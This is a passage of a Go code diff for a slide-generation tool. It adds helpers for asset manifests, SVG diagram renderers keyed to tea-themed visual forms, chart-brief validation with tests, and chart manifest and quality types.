+	for _, asset := range manifest.Assets {
+		key := assetManifestConsistencyKey(asset)
+		if key != "" {
+			existing[key] = true
+		}
+	}
+	for _, asset := range plan.Assets {
+		key := assetManifestConsistencyKey(asset)
+		if key == "" || existing[key] {
+			continue
+		}
+		status := assetStatus(asset)
+		if status != "ready" && status != "deferred" && status != "needs_generation" {
+			continue
+		}
+		manifest.Assets = append(manifest.Assets, asset)
+		existing[key] = true
+		changed = true
+	}
+	return manifest, changed, nil
+}
+
+func assetManifestConsistencyKey(asset deckAsset) string {
+	slideID := assetSlideID(asset)
+	id := assetID(asset)
+	if id == "" {
+		id = strings.TrimSpace(asset.VisualID)
+	}
+	if slideID == "" || id == "" {
+		return ""
+	}
+	return slideID + "/" + id
+}
+
+func assetType(asset deckAsset) string {
+	if value := strings.TrimSpace(asset.Kind); value != "" {
+		return value
+	}
+	return strings.TrimSpace(asset.Type)
+}
+
+func assetPath(asset deckAsset) string {
+	if value := strings.TrimSpace(asset.LocalPath); value != "" {
+		return value
+	}
+	return strings.TrimSpace(asset.Path)
+}
+
+func assetStatus(asset deckAsset) string {
+	return strings.TrimSpace(asset.Status)
+}
+
+func assetSlideID(asset deckAsset) string {
+	return strings.TrimSpace(asset.SlideID)
+}
+
+func assetID(asset deckAsset) string {
+	return strings.TrimSpace(asset.ID)
+}
+
+func assetExt(asset deckAsset) string {
+	raw := assetPath(asset)
+	if raw == "" {
+		raw = strings.TrimSpace(asset.SourceURL)
+	}
+	raw = strings.TrimSpace(raw)
+	if parsed, err := url.Parse(raw); err == nil && parsed.Path != "" {
+		raw = parsed.Path
+	}
+	if i := strings.IndexAny(raw, "?#"); i >= 0 {
+		raw = raw[:i]
+	}
+	return strings.ToLower(filepath.Ext(raw))
+}
+
+func isRasterImageAsset(asset deckAsset) bool {
+	if assetStatus(asset) != "ready" || assetType(asset) != "image" {
+		return false
+	}
+	switch assetExt(asset) {
+	case ".png", ".jpg", ".jpeg", ".webp", ".avif":
+		return true
+	default:
+		return false
+	}
+}
+
+func isGeneratedSVGAsset(asset deckAsset) bool {
+	if assetStatus(asset) != "ready" {
+		return false
+	}
+	if assetType(asset) == "generated_svg" {
+		return true
+	}
+	return assetExt(asset) == ".svg" && assetType(asset) != "chart"
+}
+
+func isChartSVGAsset(asset deckAsset) bool {
+	if assetStatus(asset) != "ready" {
+		return false
+	}
+	return assetType(asset) == "chart" && assetExt(asset) == ".svg"
+}
+
+func isPreviewWrapperImageAsset(asset deckAsset) bool {
+	if assetStatus(asset) != "ready" || assetType(asset) != "image" {
+		return false
+	}
+	normalized := strings.TrimPrefix(filepath.ToSlash(strings.TrimSpace(assetPath(asset))), "./")
+	return strings.HasPrefix(normalized, "slides/") && assetExt(asset) == ".svg"
+}

internal/svglide/author_diagram_renderer.go

@@ -0,0 +1,324 @@
+package svglide
+
+import (
+	"fmt"
+	"strings"
+)
+
+const (
+	authorVisualFormGeneric         = "generic"
+	authorVisualFormFourQuadrant    = "four_quadrant"
+	authorVisualFormSpectrum        = "spectrum"
+	authorVisualFormMapRoute        = "map_route"
+	authorVisualFormProcessFlow     = "process_flow"
+	authorVisualFormParameterMatrix = "parameter_matrix"
+	authorVisualFormSensoryWheel    = "sensory_wheel"
+	authorVisualFormObjectCallout   = "object_callout"
+)
+
+func renderAuthorInlineDiagram(b *strings.Builder, visual authorSlideVisual, content authorSlideContent, x, y, width, height int, theme authorTheme) {
+	form := authorVisualForm(visual, content)
+	labels := authorDiagramLabels(content, visual, 8)
+	if len(labels) == 0 {
+		labels = []string{firstNonEmpty(visual.Instruction, visual.ID, "visual")}
+	}
+	switch form {
+	case authorVisualFormFourQuadrant:
+		renderAuthorFourQuadrantDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormSpectrum:
+		renderAuthorSpectrumDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormMapRoute:
+		renderAuthorMapRouteDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormProcessFlow:
+		renderAuthorProcessFlowDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormParameterMatrix:
+		renderAuthorParameterMatrixDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormSensoryWheel:
+		renderAuthorSensoryWheelDiagram(b, labels, x, y, width, height, theme)
+	case authorVisualFormObjectCallout:
+		renderAuthorObjectCalloutDiagram(b, labels, x, y, width, height, theme)
+	default:
+		renderAuthorGenericDiagram(b, labels, x, y, width, height, theme)
+	}
+}
+
+func authorVisualForm(visual authorSlideVisual, content authorSlideContent) string {
+	if form := normalizeAuthorVisualForm(visual.VisualForm); form != "" {
+		return form
+	}
+	haystack := strings.ToLower(strings.Join([]string{
+		visual.Type,
+		visual.ID,
+		visual.Instruction,
+		content.Content,
+		content.Notes,
+	}, " "))
+	switch {
+	case strings.TrimSpace(visual.Type) == "map":
+		return authorVisualFormMapRoute
+	case containsAny(haystack, []string{"four_quadrant", "four quadrant", "quadrant", "2x2", "四象限", "象限"}):
+		return authorVisualFormFourQuadrant
+	case containsAny(haystack, []string{"spectrum", "gradient", "liquor color", "color spectrum", "six tea", "六大茶类", "光谱", "茶汤", "色谱"}):
+		return authorVisualFormSpectrum
+	case containsAny(haystack, []string{"map", "route", "region", "origin", "geography", "province", "产区", "地图", "地域", "路线"}):
+		return authorVisualFormMapRoute
+	case containsAny(haystack, []string{"process", "flow", "timeline", "craft", "fermentation", "firing", "工艺", "流程", "制作", "发酵", "杀青"}):
+		return authorVisualFormProcessFlow
+	case containsAny(haystack, []string{"parameter", "matrix", "temperature", "steep", "water", "ratio", "参数", "矩阵", "水温", "冲泡", "投茶"}):
+		return authorVisualFormParameterMatrix
+	case containsAny(haystack, []string{"sensory", "wheel", "taste", "flavor", "aroma", "五感", "风味", "香气", "口感", "品鉴"}):
+		return authorVisualFormSensoryWheel
+	case containsAny(haystack, []string{"callout", "object", "teaware", "vessel", "utensil", "器物", "茶具", "盖碗", "紫砂", "标注"}):
+		return authorVisualFormObjectCallout
+	default:
+		return authorVisualFormGeneric
+	}
+}
+
+func normalizeAuthorVisualForm(value string) string {
+	value = strings.ToLower(strings.TrimSpace(value))
+	value = strings.ReplaceAll(value, "-", "_")
+	value = strings.ReplaceAll(value, " ", "_")
+	switch value {
+	case authorVisualFormFourQuadrant, "quadrant", "two_by_two", "2x2":
+		return authorVisualFormFourQuadrant
+	case authorVisualFormSpectrum, "color_spectrum", "liquor_spectrum":
+		return authorVisualFormSpectrum
+	case authorVisualFormMapRoute, "region_map", "map", "route_map":
+		return authorVisualFormMapRoute
+	case authorVisualFormProcessFlow, "flow", "timeline", "craft_process":
+		return authorVisualFormProcessFlow
+	case authorVisualFormParameterMatrix, "matrix", "parameter_bridge", "parameters":
+		return authorVisualFormParameterMatrix
+	case authorVisualFormSensoryWheel, "wheel", "flavor_wheel", "taste_wheel":
+		return authorVisualFormSensoryWheel
+	case authorVisualFormObjectCallout, "callout", "object_annotation", "teaware_callout":
+		return authorVisualFormObjectCallout
+	case authorVisualFormGeneric:
+		return authorVisualFormGeneric
+	default:
+		return ""
+	}
+}
+
+func renderAuthorFourQuadrantDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormFourQuadrant)
+	cx, cy := x+width/2, y+height/2
+	fmt.Fprintf(b, `    <rect x="%d" y="%d" width="%d" height="%d" fill="none" stroke="%s" stroke-width="1.2" opacity="0.56"/>`+"\n", x, y, width, height, escapeAttr(theme.Muted))
+	fmt.Fprintf(b, `    <path d="M%d %d V%d M%d %d H%d" stroke="%s" stroke-width="1.1" opacity="0.50"/>`+"\n", cx, y, y+height, x, cy, x+width, escapeAttr(theme.Muted))
+	points := [][2]int{{x + width/4, y + height/3}, {x + width*3/4, y + height/3}, {x + width/4, y + height*3/4}, {x + width*3/4, y + height*3/4}}
+	for i, pt := range points {
+		fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" opacity="0.88"/>`+"\n", pt[0], pt[1]-9, compactDiagramRadius(height, 8), escapeAttr(authorDiagramColor(theme, i)))
+		writeAuthorDiagramLabel(b, pt[0], pt[1]+18, 120, compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorSpectrumDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormSpectrum)
+	count := clampInt(len(labels), 4, 6)
+	gap := 6
+	barW := (width - gap*(count-1)) / count
+	if barW < 18 {
+		barW = 18
+	}
+	barY := y + height/2 - compactDiagramRadius(height, 11)
+	for i := 0; i < count; i++ {
+		bh := compactDiagramRadius(height, 20) + i%3*8
+		xx := x + i*(barW+gap)
+		yy := barY - bh/2 + (i%2)*8
+		fmt.Fprintf(b, `    <rect x="%d" y="%d" width="%d" height="%d" fill="%s" opacity="0.86"/>`+"\n", xx, yy, barW, bh, escapeAttr(authorSpectrumColor(theme, i)))
+		writeAuthorDiagramLabel(b, xx+barW/2, y+height-8, maxInt(72, barW+20), compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, `    <path d="M%d %d H%d" stroke="%s" stroke-width="1" opacity="0.42"/>`+"\n", x, y+height/2, x+width, escapeAttr(theme.Muted))
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorMapRouteDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormMapRoute)
+	fmt.Fprintf(b, `    <path d="M%d %d C%d %d %d %d %d %d C%d %d %d %d %d %d" fill="none" stroke="%s" stroke-width="1.2" opacity="0.38"/>`+"\n",
+		x+width/5, y+height/6, x+width/2, y+4, x+width*4/5, y+height/5, x+width*3/4, y+height/2, x+width*2/3, y+height*4/5, x+width/3, y+height-4, x+width/5, y+height*2/3, escapeAttr(theme.Muted))
+	fmt.Fprintf(b, `    <path d="M%d %d C%d %d %d %d %d %d" fill="none" stroke="%s" stroke-width="2.6" opacity="0.78"/>`+"\n",
+		x+20, y+height-26, x+width/3, y+height/2, x+width*2/3, y+height/3, x+width-22, y+24, escapeAttr(theme.Accent))
+	points := [][2]int{{x + 24, y + height - 28}, {x + width/2, y + height/2 - 3}, {x + width - 22, y + 24}}
+	for i, pt := range points {
+		fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" stroke="%s" stroke-width="2"/>`+"\n", pt[0], pt[1], compactDiagramRadius(height, 8), escapeAttr(authorDiagramColor(theme, i)), escapeAttr(theme.Background))
+		writeAuthorDiagramLabel(b, pt[0], pt[1]+24, 120, compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorProcessFlowDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormProcessFlow)
+	count := clampInt(len(labels), 3, 5)
+	step := width / count
+	midY := y + height/2
+	for i := 0; i < count; i++ {
+		xx := x + i*step
+		fmt.Fprintf(b, `    <path d="M%d %d H%d" stroke="%s" stroke-width="2" opacity="0.55"/>`+"\n", xx+compactDiagramRadius(height, 9), midY, xx+step-compactDiagramRadius(height, 9), escapeAttr(theme.Muted))
+		fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" opacity="0.90"/>`+"\n", xx+step/2, midY, compactDiagramRadius(height, 12), escapeAttr(authorDiagramColor(theme, i)))
+		writeAuthorDiagramNumber(b, xx+step/2, midY+4, 38, compactDiagramFontSize(height), theme.Background, i+1)
+		writeAuthorDiagramLabel(b, xx+step/2, midY+30, maxInt(72, step-10), compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorParameterMatrixDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormParameterMatrix)
+	rows, cols := 3, 3
+	cellW, cellH := width/cols, height/rows
+	for r := 0; r <= rows; r++ {
+		fmt.Fprintf(b, `    <path d="M%d %d H%d" stroke="%s" stroke-width="1" opacity="0.45"/>`+"\n", x, y+r*cellH, x+width, escapeAttr(theme.Muted))
+	}
+	for c := 0; c <= cols; c++ {
+		fmt.Fprintf(b, `    <path d="M%d %d V%d" stroke="%s" stroke-width="1" opacity="0.45"/>`+"\n", x+c*cellW, y, y+height, escapeAttr(theme.Muted))
+	}
+	for i := 0; i < rows*cols && i < len(labels); i++ {
+		c, r := i%cols, i/cols
+		fmt.Fprintf(b, `    <rect x="%d" y="%d" width="%d" height="%d" fill="%s" opacity="0.14"/>`+"\n", x+c*cellW+4, y+r*cellH+4, cellW-8, cellH-8, escapeAttr(authorDiagramColor(theme, i)))
+		writeAuthorDiagramLabel(b, x+c*cellW+cellW/2, y+r*cellH+cellH/2+4, maxInt(72, cellW-14), compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorSensoryWheelDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormSensoryWheel)
+	cx, cy := x+width/2, y+height/2
+	radius := minInt(width, height) / 3
+	if radius < 28 {
+		radius = minInt(width, height) / 2
+	}
+	fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="none" stroke="%s" stroke-width="1.2" opacity="0.54"/>`+"\n", cx, cy, radius, escapeAttr(theme.Muted))
+	fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" opacity="0.15"/>`+"\n", cx, cy, radius/2, escapeAttr(theme.Accent))
+	points := [][2]int{{cx, cy - radius}, {cx + radius, cy}, {cx, cy + radius}, {cx - radius, cy}, {cx + radius*7/10, cy - radius*7/10}, {cx - radius*7/10, cy + radius*7/10}}
+	for i, pt := range points {
+		fmt.Fprintf(b, `    <path d="M%d %d L%d %d" stroke="%s" stroke-width="1" opacity="0.45"/>`+"\n", cx, cy, pt[0], pt[1], escapeAttr(theme.Muted))
+		fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" opacity="0.88"/>`+"\n", pt[0], pt[1], compactDiagramRadius(height, 7), escapeAttr(authorDiagramColor(theme, i)))
+		writeAuthorDiagramLabel(b, pt[0], pt[1]+18, 112, compactDiagramFontSize(height), theme.Ink, "middle", authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorObjectCalloutDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormObjectCallout)
+	cx, cy := x+width/2, y+height/2
+	fmt.Fprintf(b, `    <ellipse cx="%d" cy="%d" rx="%d" ry="%d" fill="%s" opacity="0.10" stroke="%s" stroke-width="1.2"/>`+"\n", cx, cy, width/5, height/4, escapeAttr(theme.Accent), escapeAttr(theme.Muted))
+	fmt.Fprintf(b, `    <path d="M%d %d C%d %d %d %d %d %d" fill="none" stroke="%s" stroke-width="2.4" opacity="0.72"/>`+"\n", cx-width/4, cy, cx-width/8, cy-height/4, cx+width/8, cy-height/4, cx+width/4, cy, escapeAttr(theme.Accent))
+	callouts := [][4]int{
+		{cx - width/5, cy - height/7, x + 8, y + 16},
+		{cx + width/5, cy, x + width - 8, y + height/2},
+		{cx, cy + height/4, x + width/2, y + height - 10},
+	}
+	for i, c := range callouts {
+		fmt.Fprintf(b, `    <path d="M%d %d L%d %d" stroke="%s" stroke-width="1" opacity="0.58"/>`+"\n", c[0], c[1], c[2], c[3], escapeAttr(theme.Muted))
+		anchor := "middle"
+		if i == 0 {
+			anchor = "start"
+		} else if i == 1 {
+			anchor = "end"
+		}
+		writeAuthorDiagramLabel(b, c[2], c[3], 118, compactDiagramFontSize(height), theme.Ink, anchor, authorLabelAt(labels, i))
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func renderAuthorGenericDiagram(b *strings.Builder, labels []string, x, y, width, height int, theme authorTheme) {
+	fmt.Fprintf(b, `  <g slide:role="shape" slide:shape-type="freeform" data-svglide-visual-form="%s">`+"\n", authorVisualFormGeneric)
+	fmt.Fprintf(b, `    <path d="M%d %d H%d" stroke="%s" stroke-width="1.2" opacity="0.62"/>`+"\n", x, y+height/2, x+width, escapeAttr(theme.Muted))
+	step := width
+	if len(labels) > 1 {
+		step = width / (len(labels) - 1)
+	}
+	for i, label := range labels {
+		cx := x
+		if len(labels) > 1 {
+			cx = x + i*step
+		}
+		cy := y + height/2
+		if i%2 == 1 {
+			cy -= compactDiagramRadius(height, 22)
+		} else {
+			cy += compactDiagramRadius(height, 22)
+		}
+		r := compactDiagramRadius(height, 14+(i%3)*3)
+		fmt.Fprintf(b, `    <circle cx="%d" cy="%d" r="%d" fill="%s" opacity="0.88"/>`+"\n", cx, cy, r, escapeAttr(authorDiagramColor(theme, i)))
+		fmt.Fprintf(b, `    <path d="M%d %d L%d %d" stroke="%s" stroke-width="1" opacity="0.55"/>`+"\n", cx, cy, cx, y+height/2, escapeAttr(theme.Muted))
+		writeAuthorDiagramLabel(b, cx, cy+compactDiagramRadius(height, 24), 128, compactDiagramFontSize(height), theme.Ink, "middle", label)
+	}
+	fmt.Fprintf(b, "  </g>\n")
+}
+
+func writeAuthorDiagramNumber(b *strings.Builder, x, baselineY, maxWidth int, fontSize int, color string, value int) {
+	writeAuthorDiagramLabelWithFamily(b, x, baselineY, maxWidth, fontSize, color, "middle", fmt.Sprintf("%02d", value), authorFontNumber, 700)
+}
+
+func writeAuthorDiagramLabel(b *strings.Builder, x, baselineY, maxWidth int, fontSize int, color string, anchor string, text string) {
+	writeAuthorDiagramLabelWithFamily(b, x, baselineY, maxWidth, fontSize, color, anchor, text, authorFontLabel, 600)
+}
+
+func writeAuthorDiagramLabelWithFamily(b *strings.Builder, x, baselineY, maxWidth int, fontSize int, color string, anchor string, text string, family string, weight int) {
+	text = strings.TrimSpace(text)
+	if text == "" {
+		return
+	}
+	width := clampInt(len([]rune(text))*fontSize/2+24, 44, maxInt(44, maxWidth))
+	height := maxInt(fontSize*2, 24)
+	left := x - width/2
+	textAlign := "center"
+	switch anchor {
+	case "start":
+		left = x
+		textAlign = "left"
+	case "end":
+		left = x - width
+		textAlign = "right"
+	}
+	top := baselineY - fontSize
+	fmt.Fprintf(b, `    <foreignObject x="%d" y="%d" width="%d" height="%d" slide:role="shape" slide:shape-type="text">`+"\n", left, top, width, height)
+	fmt.Fprintf(b, `      <p xmlns="http://www.w3.org/1999/xhtml" style="margin:0;font-family:%s;color:%s;font-size:%dpx;line-height:1.12;font-weight:%d;text-align:%s;">%s</p>`+"\n", family, escapeAttr(color), fontSize, weight, textAlign, escapeText(text))
+	fmt.Fprintf(b, "    </foreignObject>\n")
+}
+
+func authorSpectrumColor(theme authorTheme, index int) string {
+	switch index % 6 {
+	case 0:
+		return "#D9D7A3"
+	case 1:
+		return "#A7B56A"
+	case 2:
+		return "#C89A4B"
+	case 3:
+		return theme.Accent
+	case 4:
+		return "#A63E2B"
+	default:
+		return "#6C4A2E"
+	}
+}
+
+func authorLabelAt(labels []string, index int) string {
+	if len(labels) == 0 {
+		return "item"
+	}
+	if index >= 0 && index < len(labels) {
+		return labels[index]
+	}
+	return labels[index%len(labels)]
+}
+
+func compactDiagramFontSize(height int) int {
+	if height < 120 {
+		return 10
+	}
+	if height < 180 {
+		return 11
+	}
+	return 13
+}
+
+func compactDiagramRadius(height int, value int) int {
+	if height < 120 {
+		return maxInt(5, value*2/3)
+	}
+	return value
+}

internal/svglide/chart_brief.go

@@ -0,0 +1,141 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"path/filepath"
+	"strings"
+)
+
+const chartBriefsPath = "assets/charts/chart_briefs.json"
+
+type chartBriefFile struct {
+	PromptContract json.RawMessage   `json:"prompt_contract,omitempty"`
+	Charts         []chartBriefEntry `json:"charts"`
+}
+
+type chartBriefEntry struct {
+	ID             string   `json:"id"`
+	SlideID        string   `json:"slide_id"`
+	Purpose        string   `json:"purpose"`
+	Takeaway       string   `json:"takeaway"`
+	Renderer       string   `json:"renderer"`
+	SourceIDs      []string `json:"data_source_ids"`
+	Unit           string   `json:"unit"`
+	MinWidth       int      `json:"min_width,omitempty"`
+	MinHeight      int      `json:"min_height,omitempty"`
+	FallbackPolicy string   `json:"fallback_policy,omitempty"`
+}
+
+func readChartBriefs(safeRoot string) (chartBriefFile, bool, error) {
+	exists, err := runRegularFileExists(safeRoot, chartBriefsPath)
+	if err != nil {
+		return chartBriefFile{}, false, err
+	}
+	if !exists {
+		return chartBriefFile{}, false, nil
+	}
+	raw, err := readRunRegularArtifact(safeRoot, chartBriefsPath)
+	if err != nil {
+		return chartBriefFile{}, true, err
+	}
+	var file chartBriefFile
+	if err := json.Unmarshal(raw, &file); err != nil {
+		return chartBriefFile{}, true, fmt.Errorf("%s: invalid JSON: %w", chartBriefsPath, err)
+	}
+	return file, true, nil
+}
+
+func ensureEmptyChartBriefsForNoChartDeck(safeRoot string) error {
+	if exists, err := runRegularFileExists(safeRoot, chartBriefsPath); err != nil {
+		return err
+	} else if exists {
+		return nil
+	}
+	content, err := readQualityContent(safeRoot)
+	if err != nil {
+		return err
+	}
+	if slideContentHasChartVisual(content) {
+		return nil
+	}
+	run, err := readRunFile(safeRoot)
+	if err != nil {
+		return err
+	}
+	contract, err := RequiredPromptContractForStage(StageAssets, run)
+	if err != nil {
+		return err
+	}
+	rawContract, err := json.Marshal(contract)
+	if err != nil {
+		return err
+	}
+	target, err := ensureRunFileTargetForWrite(safeRoot, chartBriefsPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, chartBriefFile{
+		PromptContract: rawContract,
+		Charts:         []chartBriefEntry{},
+	})
+}
+
+func ValidateChartBriefsGate(safeRoot string) error {
+	content, err := readQualityContent(safeRoot)
+	if err != nil {
+		return err
+	}
+	briefs, present, err := readChartBriefs(safeRoot)
+	if err != nil {
+		return err
+	}
+	hasChartVisual := slideContentHasChartVisual(content)
+	if !present {
+		if hasChartVisual {
+			return fmt.Errorf("chart_briefs_gate: chart visual exists but %s is missing", chartBriefsPath)
+		}
+		return nil
+	}
+	if hasChartVisual && len(briefs.Charts) == 0 {
+		return fmt.Errorf("chart_briefs_gate: chart visual exists but %s has no chart briefs", chartBriefsPath)
+	}
+	for _, entry := range briefs.Charts {
+		id := strings.TrimSpace(entry.ID)
+		if id == "" {
+			return fmt.Errorf("chart_briefs_gate: chart brief id must not be empty")
+		}
+		if renderer := strings.TrimSpace(entry.Renderer); renderer != requiredChartRendererVegaLite {
+			return fmt.Errorf("chart_briefs_gate: chart brief %q renderer = %q, want %q", id, renderer, requiredChartRendererVegaLite)
+		}
+		if strings.TrimSpace(entry.SlideID) == "" {
+			return fmt.Errorf("chart_briefs_gate: chart brief %q slide_id must not be empty", id)
+		}
+		if strings.TrimSpace(entry.Takeaway) == "" {
+			return fmt.Errorf("chart_briefs_gate: chart brief %q takeaway must not be empty", id)
+		}
+		if len(entry.SourceIDs) == 0 {
+			return fmt.Errorf("chart_briefs_gate: chart brief %q data_source_ids must not be empty", id)
+		}
+	}
+	return nil
+}
+
+func slideContentHasChartVisual(content qualityContentFile) bool {
+	for _, slide := range content.Slides {
+		for _, visual := range slide.Visuals {
+			if strings.TrimSpace(visual.Type) == "chart" {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+func chartSpecPathForBrief(id string) string {
+	return filepath.ToSlash(filepath.Join("assets", "charts", "specs", strings.TrimSpace(id)+".vl.json"))
+}
+
+func chartSVGPathForBrief(id string) string {
+	return filepath.ToSlash(filepath.Join("assets", "charts", strings.TrimSpace(id)+".svg"))
+}

internal/svglide/chart_brief_test.go

@@ -0,0 +1,50 @@
+package svglide
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestEnsureEmptyChartBriefsForNoChartDeck(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/content/slide_content.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","content":"Claim","source_refs":["web1"],"visuals":[{"id":"none","type":"none","instruction":"Text only"}]}]}`)
+
+	if err := ensureEmptyChartBriefsForNoChartDeck("demo"); err != nil {
+		t.Fatal(err)
+	}
+	raw, err := os.ReadFile(filepath.Join("demo", chartBriefsPath))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(string(raw), `"charts": []`) {
+		t.Fatalf("chart_briefs = %s, want empty charts array", raw)
+	}
+}
+
+func TestEnsureEmptyChartBriefsDoesNotHideMissingChartBriefForChartDeck(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/content/slide_content.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","content":"Revenue","source_refs":["web1"],"visuals":[{"id":"revenue","type":"chart","instruction":"Revenue chart"}]}]}`)
+
+	if err := ensureEmptyChartBriefsForNoChartDeck("demo"); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := os.Stat(filepath.Join("demo", chartBriefsPath)); !os.IsNotExist(err) {
+		t.Fatalf("chart_briefs should not be auto-created for chart deck, stat err = %v", err)
+	}
+}
+
+func TestChartBriefRejectsNativeSVGRenderer(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/content/slide_content.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","content":"Revenue","source_refs":["web1"],"visuals":[{"id":"revenue","type":"chart","instruction":"Revenue chart"}]}]}`)
+	mustWriteTestFile(t, "demo/assets/charts/chart_briefs.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"charts":[{"id":"revenue","slide_id":"s1","purpose":"comparison","takeaway":"Revenue increased","renderer":"native-svg","data_source_ids":["web1"],"unit":"$"}]}`)
+
+	err := ValidateChartBriefsGate("demo")
+	if err == nil {
+		t.Fatal("expected native-svg chart brief renderer to be rejected")
+	}
+	if !strings.Contains(err.Error(), "renderer") || !strings.Contains(err.Error(), "vega-lite") {
+		t.Fatalf("error = %v, want renderer vega-lite rejection", err)
+	}
+}

internal/svglide/chart_manifest.go

@@ -0,0 +1,74 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"strings"
+)
+
+const chartManifestPath = "assets/charts/chart_manifest.json"
+
+type chartManifestFile struct {
+	Renderer       string               `json:"renderer"`
+	PromptContract json.RawMessage      `json:"prompt_contract,omitempty"`
+	Charts         []chartManifestEntry `json:"charts"`
+}
+
+type chartManifestEntry struct {
+	ID            string `json:"id"`
+	SlideID       string `json:"slide_id"`
+	Renderer      string `json:"renderer"`
+	BriefID       string `json:"brief_id,omitempty"`
+	SpecPath      string `json:"spec_path"`
+	SVGPath       string `json:"svg_path"`
+	SourceID      string `json:"source_id"`
+	Unit          string `json:"unit,omitempty"`
+	Takeaway      string `json:"takeaway,omitempty"`
+	RenderReceipt string `json:"render_receipt,omitempty"`
+}
+
+func readChartManifest(safeRoot string) (chartManifestFile, bool, error) {
+	exists, err := runRegularFileExists(safeRoot, chartManifestPath)
+	if err != nil {
+		return chartManifestFile{}, false, err
+	}
+	if !exists {
+		return chartManifestFile{}, false, nil
+	}
+	raw, err := readRunRegularArtifact(safeRoot, chartManifestPath)
+	if err != nil {
+		return chartManifestFile{}, false, err
+	}
+	var file chartManifestFile
+	if err := json.Unmarshal(raw, &file); err != nil {
+		return chartManifestFile{}, true, fmt.Errorf("%s: invalid JSON: %w", chartManifestPath, err)
+	}
+	return file, true, nil
+}
+
+func chartEntryRenderer(file chartManifestFile, entry chartManifestEntry) string {
+	if value := strings.TrimSpace(entry.Renderer); value != "" {
+		return value
+	}
+	return strings.TrimSpace(file.Renderer)
+}
+
+func countVegaLiteSpecEntries(file chartManifestFile) int {
+	count := 0
+	for _, entry := range file.Charts {
+		if chartEntryRenderer(file, entry) == requiredChartRendererVegaLite && strings.TrimSpace(entry.SpecPath) != "" {
+			count++
+		}
+	}
+	return count
+}
+
+func countChartSVGEntries(file chartManifestFile) int {
+	count := 0
+	for _, entry := range file.Charts {
+		if strings.TrimSpace(entry.SVGPath) != "" {
+			count++
+		}
+	}
+	return count
+}

internal/svglide/chart_quality.go

@@ -0,0 +1,343 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"path/filepath"
+	"strings"
+)
+
+const chartQualityReportPath = "receipts/chart_quality.json"
+
+type ChartQualityReport struct {
+	Status  string              `json:"status"`
+	Metrics ChartQualityMetrics `json:"metrics"`
+	Issues  []ChartQualityIssue `json:"issues"`
+	Charts  []ChartQualityChart `json:"charts"`
+}
+
+type ChartQualityMetrics struct {
+	Charts                  int `json:"charts"`
+	VegaLiteCharts          int `json:"vega_lite_charts"`
+	MissingAxisCount        int `json:"missing_axis_count"`
+	MissingUnitCount        int `json:"missing_unit_count"`
+	MissingSourceCount      int `json:"missing_source_count"`
